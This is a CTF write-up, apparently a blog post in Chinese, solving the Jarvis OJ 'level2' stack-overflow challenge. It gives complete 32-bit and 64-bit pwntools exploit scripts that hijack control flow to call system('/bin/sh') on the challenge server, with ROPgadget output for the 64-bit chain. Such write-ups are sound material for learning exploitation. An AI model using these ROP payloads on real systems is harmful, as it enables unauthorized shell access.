level2

先checksec ,只开了NX

image.png

IDA分析:栈溢出,而且也可以看到是有system函数的

image.png

shift + F12看一下字符串,发现也是存在/bin/sh

image.png

于是我们就可以调用system("/bin/sh")
32位exp:

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()

===================================================================================
因为64位程序函数的前6个参数是依次放在寄存器rdi、rsi、rdx、rcx、r8和r9中的,所以要调用system('/bin/sh')首先要将/bin/sh放到rdi寄存器中去,所以就需要找到pop_rdi_ret的gadget来利用

$ ROPgadget --binary level2_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400560 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004a1 : ret
Unique gadgets found: 11

64位exp:

#-*-coding:utf -8-*-
from pwn import *
# p = process('./level2_x64')
p = remote("pwn2.jarvisoj.com","9882")
system_plt = 0x4004c0
binsh = 0x600a90
pop_rdi = 0x4006b3
payload = 0x88*"A" + p64(pop_rdi) + p64(binsh) + p64(system_plt)
p.sendline(payload) 
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • checksec查看一下保护的情况 好的,只开启了NX,其余的都没有开启。进入ida,shift+F12发现了“b...
    poxlove3阅读 3,952评论 0 1
  • monkey 本题是一个 c 语言框架的 js执行 查看wp的得到提示这个 框架内置函数有 os.system()...
    fantasy_learner阅读 10,156评论 0 1
  • level2_x64和level2大体上都一样,唯一的区别就是一个是64位的,一个是32位的,在做这题之前我们需要...
    yahoo0o0阅读 3,856评论 0 0
  • 0x00 一些歪道理 比赛时pwn是肯定pwn不出来的,只有靠赛后复现才能够勉强维持得了尊严。不过确实能学到一些知...
    Fish_o0O阅读 5,379评论 3 8
  • checksec看一下,没什么特别的。想起来了就再把checksec复习一下吧,checksec,是用来检查可执行...
    poxlove3阅读 4,799评论 0 0